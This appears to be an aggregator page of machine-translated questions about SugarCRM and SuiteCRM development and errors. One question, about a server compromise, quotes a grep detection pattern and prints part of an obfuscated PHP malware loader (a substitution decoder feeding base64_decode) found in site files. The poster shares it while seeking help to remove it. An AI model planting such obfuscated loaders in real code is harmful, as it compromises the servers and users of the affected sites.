我正在尝试将我们的公司从SalesForce转移到SugarCRM,但我遇到了一个讨厌的错误(当我向Accounts添加一个自定义字段时,所有帐户都停止显示).我们已经从SugarCRM人员那里获得了支持,但是他们只对开源版本提供了永远然后获得无价值的响应级技术支持(我们避免使用像瘟疫这样的专有软件).哦,我是否提到我们的Salesforce合同在本周末到期了?
所以,长话短说,我自己调试了SugarCRM应用程序.我是一个经验丰富的程序员,我有基本的PHP能力,但我甚至不知道在哪里尝试解决这个问题.那里的Sugar开发人员可以推荐任何调试Sugar的过程吗?是否有任何资源可以帮助我理解不同的PHP文件的作用,或者Sugar系统的整体运作方式?
就像我正在谈论的那种事情的一个例子:我想出了如何获得糖来打印堆栈跟踪,并通过以下几个我注意到一个涉及所有问题行的模式
$this->_tpl_vars我想尝试弄清楚为什么那个方法调用不起作用,但我不知道:
A)_tpl_vars应该做什么
B)在哪里_tpl_vars定义
C)$this应该是什么
D)框架中$this的设置
等等
因此,如果有人可以帮助解释我将如何/在哪里开始寻找这些问题的答案,我将非常感激.
自从过去4天以来,我们在生产服务器(AWS EC2实例)上面临着一个奇怪的问题,该问题仅针对一个SugarCRM站点.
问题是/home/site_folder/public_html/include/MassUpdate.php文件自动重命名为/home/site_folder/public_html/include/MassUpdate.php.suspected
这种情况一天发生2-3次,间隙为3-4小时.仅在特定站点的情况下才会出现此问题,即使对于同一站点的暂存副本也不会发生此问题.我甚至从两个站点检查了该文件的代码,它是一样的.
我们使用Google搜索并发现,此问题主要发生在Wordpress网站上,可能是因为攻击.但我们检查了我们的服务器对抗攻击,没有任何.此外,服务器上没有运行病毒/恶意软件扫描.
我们应该做什么?
更新:
我们在通过此链接后发现了一些事情
我们执行egrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/并发现有少量文件包含以下示例代码.
<?php
function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];}
$ixo="base64_decode";return $ixo($ggy);}
$s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'.
'0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X=';
$koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', 'F'=>'i', 'I'=>'P', 'H'=>'U', 'K'=>'v', 'J'=>'W', 'M'=>'G', 'L'=>'L', 'O'=>'X', 'N'=>'b', 'Q'=>'B', 'P'=>'9', 'S'=>'d', 'R'=>'I', 'U'=>'r', 'T'=>'O', 'W'=>'z', 'V'=>'F', 'Y'=>'q', 'X'=>'0', 'Z'=>'C', …Run Code Online (Sandbox Code Playgroud) 我有两个模块,考虑A和B.在它们之间,存在多对多的关系.现在,还有另一个模块,考虑C.A&C和B&C之间存在一对多.现在,在C模块的editview上,存在模块A和模块B的关联字段.
现在,在从模块A中选择任何记录之后,在从模块B中选择记录时,我想只显示那些与模块A的所选记录相关的记录.
现在,我遇到了这些链接,他们在这些模块之间具有一对多关系的场景中提供了解决方案.
在"一对多"场景中,我们可以通过将以下代码添加到目标模块的editviewdefs.php文件来实现相同的目的,如下所示:
'displayParams' => array(
'initial_filter' => '&contact_name_advanced="+encodeURIComponent(document.getElementById("contact_name").value)+"',
),
Run Code Online (Sandbox Code Playgroud)
或者像这样:
'displayParams' => array (
'initial_filter' => '&account_name={$fields.account_name.value}',
),
Run Code Online (Sandbox Code Playgroud)
但是这些帖子都没有提到"多对多"情景的任何解决方案,也没有找到任何这样的帖子.
我发现了另一篇文章:
它与上述解决方案一起建议在popdefs.php文件中添加几行代码.但这不是明智的选择,因为这个popdefs.php文件由SugarCRM自动生成.
我发现了几个帖子:
如何在Sugar CE 6.5.18中覆盖view.popup
我如何在SugarCRM中的view.popup中自定义查询
它建议在SugarCRM中的popupview(view.popup.php)中自定义sql查询.我试过了,但我仍然没有成功.请帮助.谢谢.
我正在努力在Univeristy中部署CRM,部署的软件必须是开源的.我的研究引导我进入SugarCRM社区版,然而,这个版本缺乏报告,似乎很难根据具体需求进行定制.
因此,我正在考虑使用vtiger.
对于中型项目,您有什么建议? 您是否建议使用SugarCRM,Vtiger或其他软件?
我尝试使用get_event_listSugarCRM SOAP 按字段名称订购帐户模块.
link_name_to_fields_array[] linkedFields = null;
String[] fields = new String[1];
fields[0] = "name";
var result = sugarClient.get_entry_list(sessionId, "accounts", "", "", 0,
fields, null, 100, 0, false);
Run Code Online (Sandbox Code Playgroud)
但是,当我执行这部分代码时,它不起作用.
对于方法:
get_entry_list (sessionId, module_name, query, order_by, offset, select_fields, link_name_to_fields_array, max_results, deleted, favorites);
Run Code Online (Sandbox Code Playgroud)
我认为该order_by方法拼写错误,但我不知道正确的语法是什么.
我是一名没有CRM系统工作经验的开发人员.我想使用SuiteCRM构建一个简单的系统.但我无法在互联网上找到SuiteCRM的单一教程.相信我,我花了几天时间寻找教程,但我找不到.官方的Userguides文档对于开发目的绝对没用.我发现这本书是SuiteCRM For Developers,但它不适合初学者.它并没有涵盖大部分基本内容.请给我一个很好的教程(文档/视频),其中包括创建自定义实体(使用自定义实体的操作),工作流和REST API等主题.
我升级了sugar7.8之后收到了这个错误,它调用了我的filedownload.
{"error":"need_login","error_message":"No valid authentication for user."}
Run Code Online (Sandbox Code Playgroud)
经过一些调查发现,糖升级了对OAuth的API调用.以下是我的CODE:
api.fileDownload(api.buildURL("Quotes/" + model.get("id") + "/pdf/download?OAuth-Token=" + api.getOAuthToken()), {
success: function() {
app.alert.show("pdf_download_api_success", {
level: "success",
messages: SUGAR.language.get('Quotes', 'LBL_QUOTE_PDF_GENERATED'),
autoClose: true
});
},});
Run Code Online (Sandbox Code Playgroud)
我检查了以下网址中的detials:但我无法在HTTPS请求中添加headder可以帮助一些吗?
https://developer.sugarcrm.com/2016/11/15/security-changes-coming-in-sugar-7-8/
我刚从sqlalchemy的CRM应用程序中反思了一个非常讨厌的架构.所有表都有一个已删除的列,我想自动过滤所有标记为已删除的实体和关系.这是我想出的:
class CustomizableQuery(Query):
"""An overridden sqlalchemy.orm.query.Query to filter entities
Filters itself by BinaryExpressions
found in :attr:`CONDITIONS`
"""
CONDITIONS = []
def __init__(self, mapper, session=None):
super(CustomizableQuery, self).__init__(mapper, session)
for cond in self.CONDITIONS:
self._add_criterion(cond)
def _add_criterion(self, criterion):
criterion = self._adapt_clause(criterion, False, True)
if self._criterion is not None:
self._criterion = self._criterion & criterion
else:
self._criterion = criterion
Run Code Online (Sandbox Code Playgroud)
它的使用方式如下:
class UndeletedContactQuery(CustomizableQuery):
CONDITIONS = [contacts.c.deleted != True]
def by_email(self, email_address):
return EmailInfo.query.by_module_and_address('Contacts', email_address).contact
def by_username(self, uname):
return self.filter_by(twod_username_c=uname).one()
class Contact(object):
query = session.query_property(UndeletedContactQuery)
Contact.query.by_email('someone@some.com')
Run Code Online (Sandbox Code Playgroud)
EmailInfo是映射到电子邮件与其相关的其他模块之间的连接表的类. …
使用suitecrm 7.9.1
每当我尝试创建一个潜在客户时,即在提交创建潜在客户表单后,我将面临以下错误.
每当我尝试导入csv文件时都面临同样的错误.仅在实时服务器上发生此错误
致命错误:未捕获错误:调用/home/testsite/public_html/modules/AOD_Index/Lib/Zend/Search/Lucene/Field.php:222中的未定义函数iconv()堆栈跟踪:#0/home/testsite/public_html/modules/AOD_Index/Lib/Zend/Search/Lucene/Index/SegmentWriter/DocumentWriter.php(131):Zend_Search_Lucene_Field-> getUtf8Value()#1/home/testsite/public_html/modules/AOD_Index/Lib/Zend/Search/Lucene/Index/Writer.php(244):Zend_Search_Lucene_Index_SegmentWriter_DocumentWriter-> addDocument(Object(Zend_Search_Lucene_Document))
2 /home/testsite/public_html/modules/AOD_Index/Lib/Zend/Search/Lucene.php(1410):
Zend_Search_Lucene_Index_Writer-> addDocument(Object(Zend_Search_Lucene_Document))#3 /home/testsite/public_html/modules/AOD_Index/AOD_Index.php(310):Zend_Search_Lucene-> addDocument(Object(Zend_Search_Lucene_Document))
4 /home/testsite/public_html/modules/AOD_Index/AOD_LogicHooks.php(36):
AOD_Index-> index('Leads','b81874eb-1233-5 ...')#5 /home/testsite/public_html/include/utils/LogicHook.php(262):AOD_LogicHooks-> saveModuleChanges(Object in L in/222号线上的home/testsite/public_html/modules/AOD_Index/Lib/Zend/Search/Lucene/Field.php
导致此错误的原因是什么.新手到suitecrm,如何解决它.
sugarcrm ×10
php ×3
crm ×2
suitecrm ×2
amazon-ec2 ×1
apache ×1
c# ×1
fatal-error ×1
linux ×1
many-to-many ×1
oauth-2.0 ×1
popupwindow ×1
python ×1
soap ×1
sqlalchemy ×1
vtiger ×1